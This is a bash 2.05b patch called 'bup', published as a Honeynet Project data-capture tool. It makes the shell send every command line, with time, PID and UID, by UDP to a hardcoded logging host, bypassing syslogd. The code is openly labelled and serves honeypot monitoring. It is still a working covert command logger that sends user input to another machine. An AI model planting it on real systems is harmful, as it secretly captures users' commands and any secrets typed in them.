bup is a patch for bash that modifies the shell to send all user keystrokes via UDP over the network for collection by a sniffer or a syslogd server. It does not depend on syslogd to send the packets. It is part of the Tools/Data_Capture section of The Honeynet Project.
f02236b1503011ed1fdfe5d1c49fa9a09a5fce9feda24b025cded4554d76cc9f
diff -Nru bash-2.05b/bashhist.c bash-2.05b_mod/bashhist.c
--- bash-2.05b/bashhist.c 2002-03-12 16:29:56.000000000 +0100
+++ bash-2.05b_mod/bashhist.c 2004-02-17 16:18:29.000000000 +0100
@@ -654,7 +654,7 @@
char *line;
{
hist_last_line_added = 1;
- add_history (line);
+ add_history (line, 1);
history_lines_this_session++;
}
diff -Nru bash-2.05b/lib/readline/histexpand.c bash-2.05b_mod/lib/readline/histexpand.c
--- bash-2.05b/lib/readline/histexpand.c 2002-04-16 17:47:59.000000000 +0200
+++ bash-2.05b_mod/lib/readline/histexpand.c 2004-02-17 16:45:33.000000000 +0100
@@ -1160,7 +1160,7 @@
if (only_printing)
{
- add_history (result);
+ add_history (result, 1); /* Ant: new 2nd argument means do syslog */
return (2);
}
diff -Nru bash-2.05b/lib/readline/histfile.c bash-2.05b_mod/lib/readline/histfile.c
--- bash-2.05b/lib/readline/histfile.c 2002-03-26 15:00:26.000000000 +0100
+++ bash-2.05b_mod/lib/readline/histfile.c 2004-02-17 16:46:23.000000000 +0100
@@ -231,7 +231,8 @@
*line_end = '\0';
if (*line_start)
- add_history (line_start);
+ /* Ant: new 2nd arg means skip syslog */
+ add_history (line_start, 0);
current_line++;
diff -Nru bash-2.05b/lib/readline/history.c bash-2.05b_mod/lib/readline/history.c
--- bash-2.05b/lib/readline/history.c 2002-03-12 17:27:34.000000000 +0100
+++ bash-2.05b_mod/lib/readline/history.c 2004-02-17 16:47:04.000000000 +0100
@@ -30,6 +30,7 @@
#endif
#include <stdio.h>
+#include <syslog.h>
#if defined (HAVE_STDLIB_H)
# include <stdlib.h>
@@ -47,6 +48,15 @@
#include "history.h"
#include "histlib.h"
+#include <stdlib.h>
+#include <string.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <netdb.h>
+
+#define PORT 514 /* logging port */
+
#include "xmalloc.h"
/* The number of slots to increase the_history by. */
@@ -209,11 +219,41 @@
/* Place STRING at the end of the history list. The data field
is set to NULL. */
void
-add_history (string)
+add_history (string, logme)
const char *string;
+ int logme; /* 0 means no sending history to syslog */
{
HIST_ENTRY *temp;
+ char *message;
+ char buf[BUFSIZ];
+ FILE *ptr;
+
+ if (logme)
+ {
+ ptr = popen("/bin/date +%Y-%m-%d__%T", "r");
+ message = (char *)calloc(strlen(string) + 50, sizeof(char));
+ if ((message != NULL) && (ptr != NULL))
+ {
+ fgets(buf, BUFSIZ, ptr);
+ if (strlen(string) < 600)
+ sprintf(message, "T=%s PI=%d UI=%d %s", buf, getpid(), getuid(),
+ string);
+ else
+ {
+ char trunc[600];
+
+ strncpy(trunc, string, sizeof(trunc));
+ trunc[sizeof(trunc) - 1] = '\0';
+ sprintf(message, "T=%s PI=%d UI=%d %s(++TRUNC)", buf, getpid(),
+ getuid(), trunc);
+ }
+ talker("10.1.1.1", message);
+ }
+ free(message);
+ pclose(ptr);
+ }
+
if (history_stifled && (history_length == history_max_entries))
{
register int i;
@@ -379,3 +419,30 @@
history_offset = history_length = 0;
}
+
+/* logger routine, updated by me */
+int talker(char *host, char *message)
+{
+ int sockfd;
+ struct sockaddr_in remote_addr;
+ struct hostent *h;
+ int numbytes;
+
+ h = gethostbyname(host);
+
+ sockfd = socket(AF_INET, SOCK_DGRAM, 0);
+
+ remote_addr.sin_family = AF_INET;
+ remote_addr.sin_port = htons(PORT);
+ remote_addr.sin_addr = *((struct in_addr *)h->h_addr);
+ memset(&(remote_addr.sin_zero), '\0', 8);
+
+ numbytes = sendto(sockfd, message, strlen(message), 0,
+ (struct sockaddr *)&remote_addr,
+ sizeof(struct sockaddr));
+
+ close(sockfd);
+
+ return 0;
+}
+
diff -Nru bash-2.05b/lib/readline/history.h bash-2.05b_mod/lib/readline/history.h
--- bash-2.05b/lib/readline/history.h 2001-08-22 15:37:23.000000000 +0200
+++ bash-2.05b_mod/lib/readline/history.h 2004-02-17 16:16:41.000000000 +0100
@@ -74,7 +74,7 @@
/* Place STRING at the end of the history list.
The associated data field (if any) is set to NULL. */
-extern void add_history PARAMS((const char *));
+extern void add_history PARAMS((const char *, int)); /* Ant added arg */
/* A reasonably useless function, only here for completeness. WHICH
is the magic number that tells us which element to delete. The